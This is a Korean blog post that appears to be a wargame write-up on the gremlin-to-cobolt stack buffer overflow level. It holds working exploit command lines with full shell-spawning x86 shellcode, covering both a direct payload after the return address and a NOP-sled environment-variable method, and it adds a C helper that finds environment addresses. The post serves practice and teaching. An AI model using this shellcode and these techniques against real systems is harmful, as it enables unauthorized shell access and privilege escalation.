gremlin 문제를 풀어보면
small buffer 문제이다
버퍼의 크기가 16바이트 밖에 없다.. 내가 가지고있는 쉘코드의 크기가 더 커서 ebp위로 버퍼에는 쉘코드를 삽입하지 못한다
그래서 쉘코드를 삽입할 수 있는 장소를 찾아야한다
1.ret 뒤에 쉘코드 삽입
네모 박스 쳐진곳이 eip 다
그 뒤에 shellcode를 삽입해서 eip가 shellcode를 가리키도록 설정해준다
./cobolt $(python -c 'print "A"*16+"B"*4+"\xc0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')
다음 방법은 많이 사용되는 환경변수에 저장하는 방법이다
export SH=$(python -c 'print "\90"*100 +"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')
SH 환경변수에 앞에서 설명한 NOP 값과 쉘코드를 대입한다
삽입된 환경 변수를 확인하고 그 주소를 ret주소에 대입시켜주는 방법이 있다.
환경변수를 확인하는 방법은 C코드로 환경변수를 출력하는 파일을 하나 생성해도 되고 GDB로 확인할 수 도있다
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("%p\n", getenv(argv[1]));
return 0;
}
환경 변수를 출력해주는 C 코드
gdb에서 위치를 확인해보면
env 의 값은 argv[1] 에 존재하는걸 확인할 수 있다
argv[0] argv[1]
argv[1] 을 확인해 보면
먼저 입력한 A 값과 B 값을 확인할 수 있고 뒤로 가면
NOP를 사용하기 위해 넣어둔 90과 SHELLCODE 를 볼수 있다 적당한 주소를 대입해주면 NOP~ 을 통해서 쉘코드에 도착 할 수 있다
'WARGAME > BOF' 카테고리의 다른 글
[BOF] wolfman->darkelf (0) | 2018.02.08 |
---|---|
[BOF] Orc->wolfman (0) | 2018.02.08 |
[BOF] Goblin-> orc (0) | 2018.02.08 |
[BOF] cobolt-> Goblin (0) | 2018.02.08 |
[BOF] gate-> gremlin (0) | 2018.02.08 |